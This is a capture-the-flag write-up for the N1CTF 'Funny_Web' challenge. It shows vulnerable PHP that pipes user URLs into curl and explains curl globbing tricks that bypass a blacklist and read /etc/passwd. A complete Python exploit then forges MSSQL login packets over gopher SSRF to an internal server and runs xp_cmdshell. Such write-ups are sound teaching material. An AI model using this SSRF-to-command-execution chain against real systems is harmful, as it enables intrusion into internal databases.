메인 컨텐츠로 넘어가기

N1CTF Funny_Web write up

I collaborated with my team mate, parrot and this was quite long jurney.

Description chall

Code:

<?php
session_start();
//hint in /hint.txt
if (!isset($_POST["url"])) {
    highlight_file(__FILE__);
}

function uuid()
{
    $chars = md5(uniqid(mt_rand(), true));
    $uuid = substr($chars, 0, 8) . '-'
        . substr($chars, 8, 4) . '-'
        . substr($chars, 12, 4) . '-'
        . substr($chars, 16, 4) . '-'
        . substr($chars, 20, 12);
    return $uuid;
}

function Check($url)
{
    $blacklist = "/l|g|[\x01-\x1f]|[\x7f-\xff]|['\"]/i";

    if (is_string($url)
        && strlen($url) < 4096
        && !preg_match($blacklist, $url)) {
        return true;
    }
    return false;
}

if (!isset($_SESSION["uuid"])) {
    $_SESSION["uuid"] = uuid();
}

echo $_SESSION["uuid"]."</br>";

if (Check($_POST["url"])) {
    $url = escapeshellarg($_POST["url"]);
    $cmd = "/usr/bin/curl ${url} --output - -m 3 --connect-timeout 3";
    echo "your command: " . $cmd . "</br>";
    $res = shell_exec($cmd);
} else {
    die("error~");
}

if (strpos($res, $_SESSION["uuid"]) !== false) {
    echo $res;
} else {
    echo "you cannot get the result~";
}

curl makes stdout for each result when we use the command like curl '{asd, bbb}'.

Example:

sqrtrev@Ubuntu20:~/$ curl '{asd,bb}' 2> /dev/null
--_curl_--asd
--_curl_--bb

So, we can abuse this for bypassing the UUID check. And also, we can bypass the string filtering like below:

sqrtrev@Ubuntu20:~/$ curl 'fi[k-m]e:///etc/passwd
[1/3]: fike:///etc/passwd --> <stdout>
--_curl_--fike:///etc/passwd
curl: (1) Protocol "fike" not supported or disabled in libcurl

[2/3]: file:///etc/passwd --> <stdout>
--_curl_--file:///etc/passwd
(Contents of file)

[3/3]: fime:///etc/passwd --> <stdout>
--_curl_--fime:///etc/passwd
curl: (1) Protocol "fime" not supported or disabled in libcurl

So, we checked hint.txt abusing by using those tricks and It told us that we need to communicate with mssql.

We can communicate with mssql via gopher protcol and also can bruteforce the passwords which were in /password.txt. Fortunately, we could use xp_cmdshell and get flag.

Final payload:

from pwn import *
import requests
import urllib.parse
import os
import sys
TARGET = "http://1.13.194.226/"
def h(full):
    t = ""
    for i in full:
        g = hex(i)[2:]
        if(len(g) == 1):
            g = "0"+g
        t += "%"+g
    return t
def ssrf(host,c):
    p = "[f-h]opher://{"+host+",87baaf04-edc6-3703-5c9b-0219b2161d5d}/_"+h(c)
    r = requests.post(TARGET,data={"url":p},cookies={"PHPSESSID":"s834jpvcbc6atu1b3ij4vbvmjj"})
    o = b"gopher://"+host.encode()+b"/"+b"_"+h(c).encode()+b"\n"
    g = r.content[r.content.index(o):][len(o):]
    return g[:g.index(b"--_curl_--")]
def utf16(c):
    t = b""
    for i in c:
        t += bytes([i])+b"\x00"
    return t
def scramble(passwd):
    g = b""
    for b in passwd:
        lowNibble = b & 0x0f
        highNibble = b >> 4
        b = (lowNibble << 4) | highNibble
        b = b ^ 0xa5
        g += bytes([b])
    return g

def packtpasswd(passwd):
    preLogin = b"\x12\x01\x00\x35\x00\x00\x01\x00\x00\x00\x1f\x00\x06\x01\x00\x25" \
    b"\x00\x01\x02\x00\x26\x00\x01\x03\x00\x27\x00\x04\x04\x00\x2b\x00" \
    b"\x01\x06\x00\x2c\x00\x01\xff\x0e\x00\x00\x00\x00\x00\x02\x00\x00" \
    b"\x00\x00\x00\x00\x01"
    login = b"\x10\x01\x01\x0f\x00\x00\x01\x00\x07\x01\x00\x00\x04\x00\x00\x74" \
    b"\x00\x10\x00\x00\x00\x00\x00\x00\xbd\xb6\x03\x00\x00\x00\x00\x00" \
    b"\xf0\x00\x00\x18\x2e\xff\xff\xff\x09\x04\x00\x00\x5e\x00\x02\x00" \
    b"\x62\x00\x02\x00\x66\x00\x24\x00\xae\x00\x07\x00\xbc\x00\x09\x00" \
    b"\xce\x00\x04\x00\xd9\x00\x07\x00\xe7\x00\x0a\x00\xfb\x00\x06\x00" \
    b"\x01\x02\x03\x04\x05\x06\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01" \
    b"\x00\x00\x00\x00\x00\x00\x70\x00\x73\x00\x53\x00\x41\x00\x26\xa5" \
    b"\xe6\xa5\x93\xa5\x96\xa5\x86\xa5\xe3\xa5\x26\xa5\xe6\xa5\x77\xa5" \
    b"\x36\xa5\xc6\xa5\xe3\xa5\x93\xa5\x77\xa5\xe6\xa5\x96\xa5\xd6\xa5" \
    b"\xf3\xa5\x77\xa5\x83\xa5\x26\xa5\x96\xa5\xf3\xa5\x77\xa5\xc6\xa5" \
    b"\x36\xa5\xf6\xa5\x86\xa5\x36\xa5\xf3\xa5\xf3\xa5\xa6\xa5\xd6\xa5" \
    b"\xf6\xa5\xd6\xa5\x86\xa5\x54\x00\x65\x00\x64\x00\x69\x00\x6f\x00" \
    b"\x75\x00\x73\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x68\x00" \
    b"\x6f\x00\x73\x00\x74\x00\xd2\x00\x00\x00\x0a\x01\x00\x00\x00\x01" \
    b"\xff\x54\x00\x65\x00\x64\x00\x69\x00\x6f\x00\x75\x00\x73\x00\x75" \
    b"\x00\x73\x00\x5f\x00\x65\x00\x6e\x00\x67\x00\x6c\x00\x69\x00\x73" \
    b"\x00\x68\x00\x6d\x00\x61\x00\x73\x00\x74\x00\x65\x00\x72\x00"
    loginreq = login[:login.index(b"\x26\xa5")]
    loginreq+= scramble(utf16(passwd.encode()))
    loginreq+= login[110+72:]
    full = preLogin+loginreq
    return full

sql = b"\x01\x01\x02\xf4\x00\x00\x01\x00\x16\x00\x00\x00\x12\x00\x00\x00" \
b"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x73\x00" \
b"\x65\x00\x74\x00\x20\x00\x61\x00\x6e\x00\x73\x00\x69\x00\x5f\x00" \
b"\x6e\x00\x75\x00\x6c\x00\x6c\x00\x73\x00\x20\x00\x6f\x00\x6e\x00" \
b"\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00\x61\x00\x6e\x00\x73\x00" \
b"\x69\x00\x5f\x00\x6e\x00\x75\x00\x6c\x00\x6c\x00\x5f\x00\x64\x00" \
b"\x66\x00\x6c\x00\x74\x00\x5f\x00\x6f\x00\x6e\x00\x20\x00\x6f\x00" \
b"\x6e\x00\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00\x61\x00\x6e\x00" \
b"\x73\x00\x69\x00\x5f\x00\x70\x00\x61\x00\x64\x00\x64\x00\x69\x00" \
b"\x6e\x00\x67\x00\x20\x00\x6f\x00\x6e\x00\x0a\x00\x73\x00\x65\x00" \
b"\x74\x00\x20\x00\x61\x00\x6e\x00\x73\x00\x69\x00\x5f\x00\x77\x00" \
b"\x61\x00\x72\x00\x6e\x00\x69\x00\x6e\x00\x67\x00\x73\x00\x20\x00" \
b"\x6f\x00\x6e\x00\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00\x61\x00" \
b"\x72\x00\x69\x00\x74\x00\x68\x00\x61\x00\x62\x00\x6f\x00\x72\x00" \
b"\x74\x00\x20\x00\x6f\x00\x6e\x00\x0a\x00\x73\x00\x65\x00\x74\x00" \
b"\x20\x00\x63\x00\x6f\x00\x6e\x00\x63\x00\x61\x00\x74\x00\x5f\x00" \
b"\x6e\x00\x75\x00\x6c\x00\x6c\x00\x5f\x00\x79\x00\x69\x00\x65\x00" \
b"\x6c\x00\x64\x00\x73\x00\x5f\x00\x6e\x00\x75\x00\x6c\x00\x6c\x00" \
b"\x20\x00\x6f\x00\x6e\x00\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00" \
b"\x64\x00\x61\x00\x74\x00\x65\x00\x66\x00\x69\x00\x72\x00\x73\x00" \
b"\x74\x00\x20\x00\x37\x00\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00" \
b"\x64\x00\x61\x00\x74\x00\x65\x00\x66\x00\x6f\x00\x72\x00\x6d\x00" \
b"\x61\x00\x74\x00\x20\x00\x6d\x00\x64\x00\x79\x00\x0a\x00\x73\x00" \
b"\x65\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x69\x00" \
b"\x63\x00\x69\x00\x74\x00\x5f\x00\x74\x00\x72\x00\x61\x00\x6e\x00" \
b"\x73\x00\x61\x00\x63\x00\x74\x00\x69\x00\x6f\x00\x6e\x00\x73\x00" \
b"\x20\x00\x6f\x00\x66\x00\x66\x00\x0a\x00\x73\x00\x65\x00\x74\x00" \
b"\x20\x00\x6c\x00\x61\x00\x6e\x00\x67\x00\x75\x00\x61\x00\x67\x00" \
b"\x65\x00\x20\x00\x75\x00\x73\x00\x5f\x00\x65\x00\x6e\x00\x67\x00" \
b"\x6c\x00\x69\x00\x73\x00\x68\x00\x0a\x00\x73\x00\x65\x00\x74\x00" \
b"\x20\x00\x6e\x00\x75\x00\x6d\x00\x65\x00\x72\x00\x69\x00\x63\x00" \
b"\x5f\x00\x72\x00\x6f\x00\x75\x00\x6e\x00\x64\x00\x61\x00\x62\x00" \
b"\x6f\x00\x72\x00\x74\x00\x20\x00\x6f\x00\x66\x00\x66\x00\x0a\x00" \
b"\x73\x00\x65\x00\x74\x00\x20\x00\x71\x00\x75\x00\x6f\x00\x74\x00" \
b"\x65\x00\x64\x00\x5f\x00\x69\x00\x64\x00\x65\x00\x6e\x00\x74\x00" \
b"\x69\x00\x66\x00\x69\x00\x65\x00\x72\x00\x20\x00\x6f\x00\x6e\x00" \
b"\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00\x74\x00\x65\x00\x78\x00" \
b"\x74\x00\x73\x00\x69\x00\x7a\x00\x65\x00\x20\x00\x32\x00\x31\x00" \
b"\x34\x00\x37\x00\x34\x00\x38\x00\x33\x00\x36\x00\x34\x00\x37\x00" \
b"\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00\x74\x00\x72\x00\x61\x00" \
b"\x6e\x00\x73\x00\x61\x00\x63\x00\x74\x00\x69\x00\x6f\x00\x6e\x00" \
b"\x20\x00\x69\x00\x73\x00\x6f\x00\x6c\x00\x61\x00\x74\x00\x69\x00" \
b"\x6f\x00\x6e\x00\x20\x00\x6c\x00\x65\x00\x76\x00\x65\x00\x6c\x00" \
b"\x20\x00\x72\x00\x65\x00\x61\x00\x64\x00\x20\x00\x63\x00\x6f\x00" \
b"\x6d\x00\x6d\x00\x69\x00\x74\x00\x74\x00\x65\x00\x64\x00\x0a\x00" \
b"\x73\x00\x65\x00\x74\x00\x20\x00\x78\x00\x61\x00\x63\x00\x74\x00" \
b"\x5f\x00\x61\x00\x62\x00\x6f\x00\x72\x00\x74\x00\x20\x00\x6f\x00" \
b"\x66\x00\x66\x00"


payload = b"EXEC xp_cmdshell 'Reg Query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\N1CTF2021\"';   -- -"
t = b""
for i in payload:
    t += bytes([i,0])
payload = t

realsql = b""
realsql+= sql[0:2]
realsql+= p16(len(payload)+30+2)[::-1]
realsql+= sql[4:30]
realsql+= payload


r = ssrf("10.11.22.13:1433",packtpasswd("32367d71-af9b-4996-852f-f5566c13971a")+realsql)
os.write(sys.stdout.fileno(),r)
컨텐츠 처음으로 돌아가기